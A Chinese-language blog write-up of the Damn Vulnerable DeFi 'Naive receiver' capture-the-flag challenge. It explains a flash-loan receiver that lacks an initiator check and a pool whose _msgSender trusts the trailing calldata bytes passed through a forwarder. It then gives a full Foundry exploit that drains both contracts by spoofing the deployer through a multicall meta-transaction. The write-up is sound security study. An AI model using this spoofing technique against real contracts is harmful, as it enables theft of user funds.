[区块链安全-Damn_Vulnerable_DeFi]区块链DeFi智能合约安全实战(V4.1.0)T2 Naive receiver

2.Naivereceiver 寻找漏洞以及利用漏洞的思路

挑战网站链接

目录

前言

这一次的合约比上一次的复杂很多,也花费了我更多的时间。但是明白了合约逻辑以及漏洞之后让我受益颇深。在这里我学到了EIP712、元交易、forwarder中继器、receiver、IERC3156FlashBorrower、IERC3156FlashLender、Address库、Context库等新知识,如果你有不熟练或者不知道的,完全可以去尝试这一节的挑战。

Naive receiver

介绍

现有一个资金池,余额为 1000 枚 WETH,支持闪电贷功能,固定手续费为 1 枚 WETH。该资金池通过集成一个无权限转发合约(BasicForwarder),支持元交易。
一名用户部署了一个示例合约,余额为 10 枚 WETH。该合约似乎可以执行 WETH 闪电贷操作。
所有资金均处于风险之中!请从用户合约(FlashLoanReceiver)和资金池(pool)中救出所有 WETH,并将其存入指定的回收账户。

简单来说就是要以初始资金为0的player的身份达到两个目的: 1.将用户部署的余额为10WEH的示例合约FlashLoanReceiver中的余额耗尽。 2.将资金池pool中的所有WETH取出存入指定账户recovery中。

漏洞代码

漏洞代码1

FlashLoanReceiver中的onFlashLoan()函数

function onFlashLoan(
    address,  // 忽略了闪贷发起者(initiator)参数
    address token, 
    uint256 amount, 
    uint256 fee, 
    bytes calldata
) external returns (bytes32) {
    // 仅校验:调用者是否为闪贷池(pool)
    assembly {
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed) 
            revert(0x1c, 0x04)
        }
    }
    if (token != address(NaiveReceiverPool(pool).weth())) {
        revert NaiveReceiverPool.UnsupportedCurrency();
    }

    uint256 amountToBeRepaid;
    unchecked {
        amountToBeRepaid = amount + fee;
    }
    _executeActionDuringFlashLoan();
    WETH(payable(token)).approve(pool, amountToBeRepaid);
    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

漏洞本质是 “缺少对闪贷发起者的权限校验”,导致任何人都可以滥用合约身份调用闪贷池,间接动用合约内资金。

漏洞代码2

NaiveReceiverPool合约的_msgSender()函数

    function _msgSender() internal view override returns (address) {
    //我们可以构建一个交易,从forwarder合约调用该函数,从而伪造任意用户地址
        if (msg.sender == trustedForwarder && msg.data.length >= 20) {
            return address(bytes20(msg.data[msg.data.length - 20:])); 
        } else {
            return super._msgSender();
        }
    }

这个函数仅仅通过msg.data的末尾20各字节获取用户地址,这并不安全,我们可以将部署者的地址放入到data的末尾中来盗取资金。

攻击代码

function test_naiveReceiver() public checkSolvedByPlayer {
        // 第一步:耗尽 Receiver
        bytes[] memory callDatas = new bytes[](11);
        for (uint256 i = 0; i < 10; i++) {
            callDatas[i] = abi.encodeCall(
                NaiveReceiverPool.flashLoan, (IERC3156FlashBorrower(address(receiver)), address(weth), 0, "0x")
            );
        }

        // 第二步:提取池中资金到恢复账户 通过forwarder的excute
        callDatas[10] = abi.encodePacked(
            //withraw只会读取前面两个参数
            abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
            bytes32(uint256(uint160(address(deployer)))) // 地址填充为32字节,因为_msgSender只会读取最后20字节
        );

        bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);

        BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: gasleft(),
            nonce: forwarder.nonces(player),
            data: multicallData,
            deadline: block.timestamp + 1 hours
        });

        bytes32 requestHash =
            keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(request)));

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
        bytes memory signature = abi.encodePacked(r, s, v);

        forwarder.execute(request, signature);
    }
  1. 耗尽 Receiver 合约的 WETH 余额

    通过调用 NaiveReceiverPool 的 flashLoan 函数十次,每次借入金额为 0 WETH,但支付 1 WETH 的固定费用。由于 FlashLoanReceiver 合约初始有 10 WETH,十次调用后其余额被耗尽。

  2. 利用漏洞提取 Pool 中的资金

    构造恶意调用数据:使用 abi.encodePacked 将以下两部分数据打包:

    (1) abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))):正常调用 withdraw 函数,参数为提取全部资金到恢复地址。 (2) bytes32(uint256(uint160(address(deployer))):将 deployer 地址填充为 32 字节,并附加在调用数据末尾。

    这样构造后,当 withdraw 函数通过 delegatecall 执行时,Pool 的 _msgSender() 函数会从调用数据末尾读取 deployer 地址,误认为是 deployer 在调用,从而绕过权限检查。

  3. 最后两个步骤 (1)打包为 Multicall:将上述恶意调用数据与前10次 flashLoan 调用一起放入 bytes[] 数组,并通过 abi.encodeCall(pool.multicall, callDatas) 打包成单个 multicallData。 (2)通过 Forwarder 执行:构造 BasicForwarder.Request 请求,包含 multicallData,并使用 player 的私钥对请求进行签名。最后调用 forwarder.execute 执行该元交易,从而在单次交易中完成所有操作。

    ps: 之所以要通过Multicall,是为了使player不超过两笔交易就能达成目的。

总结

智能合约审查流程

基础的我在上一章节说过了。面对这种多个合约配合的项目,首先要明确各个合约的主要职责是什么,这真的很重要,我一开始并没有很懂,到后面代码也看得迷迷糊糊,走了很多弯路。不会的多问问ai(但有时候ai很不靠谱,经常讲着讲着就概念模糊,漏洞也找不出来),然后可以多看几遍提供的测试代码setup部分,也可以帮助理解合约架构。 有些漏洞不太确定的话可以多写些测试,测试结果不会骗人。

点赞 0
收藏 0
分享

0 条评论

请先 登录 后评论
Maxence90
Maxence90
学习。。。